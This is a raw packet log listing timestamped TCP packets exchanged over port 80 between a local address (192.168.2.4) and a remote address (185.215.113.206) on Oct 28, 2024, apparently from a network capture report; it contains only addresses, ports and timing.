Oct 28, 2024 08:17:34.122940063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.165472984 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165534973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165575027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165632963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165637970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.165637970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.165690899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165725946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165760994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165779114 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.165796041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165815115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.165833950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165847063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.165869951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165906906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.165921926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.166193008 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166250944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166286945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166294098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.166294098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.166342020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166378975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166414022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166421890 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.166421890 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.166656017 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.166727066 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166780949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166800976 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.166817904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166830063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.166853905 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166882992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.166891098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.166928053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.166954994 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.241882086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.241914988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.241955996 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.241970062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242012978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242012978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242027044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242062092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242095947 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242119074 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242157936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242187977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242193937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242228031 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242249012 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242270947 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242288113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242310047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242319107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242320061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242357969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242377043 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242392063 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242393017 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242428064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242474079 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242474079 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.242928028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242985010 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.242999077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243038893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243081093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243089914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243089914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243115902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243151903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243155956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243155956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243186951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243210077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243222952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243242979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243278027 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243383884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243438959 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243448973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243480921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243518114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243530989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243530989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243577003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243673086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243740082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.243793964 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.243793964 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.284854889 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.284895897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.284951925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.284960985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.284960985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285008907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285044909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285058022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285058022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285079956 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285094023 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285113096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285145998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285147905 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285166979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285181046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285192966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285217047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285247087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285262108 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285263062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285286903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285625935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285681009 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285690069 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285720110 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285726070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285770893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285794020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285829067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285861015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.285861969 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285861969 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.285917044 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.286082029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.286115885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.286133051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.286153078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.286169052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.286205053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.286214113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.286238909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.286273003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.286300898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.286307096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.286323071 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.286345005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.286374092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.286379099 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.286429882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361311913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361351013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361404896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361413956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361439943 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361439943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361469030 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361474991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361500978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361541986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361689091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361717939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361752033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361756086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361788988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361814976 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361835003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361838102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361881018 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361893892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361898899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361931086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.361978054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.361978054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362230062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362278938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362312078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362323046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362390995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362423897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362446070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362459898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362458944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362493992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362502098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362541914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362638950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362673998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362701893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362709045 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362736940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362751007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362838030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362890005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.362916946 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.362957001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.363010883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.363044977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.363079071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.363092899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.363221884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.403335094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.403373957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.403407097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.403412104 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.403429985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.403455973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.404362917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.404393911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.404438972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.404438972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.404450893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.404488087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.404499054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.404522896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.404532909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.404558897 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.404560089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.404594898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.404599905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.404644966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.404659033 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.404680014 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.404695034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.404719114 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.404938936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.404990911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405029058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405035973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405051947 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405062914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405100107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405105114 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405105114 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405179024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405438900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405474901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405508041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405525923 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405525923 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405546904 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405602932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405659914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405661106 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405702114 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405713081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405757904 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405766964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405802011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405816078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405836105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405869961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405883074 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405883074 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405903101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405939102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405944109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405944109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.405973911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.405987024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.406035900 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.480884075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.480943918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.480988026 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.480997086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481012106 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481035948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481070995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481070995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481100082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481142044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481174946 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481194973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481228113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481281996 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481295109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481317997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481350899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481358051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481403112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481431961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481466055 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481466055 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481766939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481825113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481827974 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481856108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481888056 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481888056 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481906891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481940031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.481977940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.481977940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482050896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482084990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482135057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482135057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482263088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482291937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482326031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482331038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482331038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482381105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482388020 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482412100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482439995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482455969 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482464075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482498884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482532978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482542038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482542038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482609987 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482829094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482862949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482881069 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482898951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.482937098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.482937098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.522555113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.522586107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.522623062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.522639036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.522641897 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.522669077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.522676945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.522725105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.523725033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.523777962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.523786068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.523816109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524055004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524090052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524111032 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524146080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524179935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524193048 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524193048 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524214983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524247885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524256945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524256945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524285078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524297953 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524317980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524323940 CET	49766	80	192.168.2.4	185.215.113.206
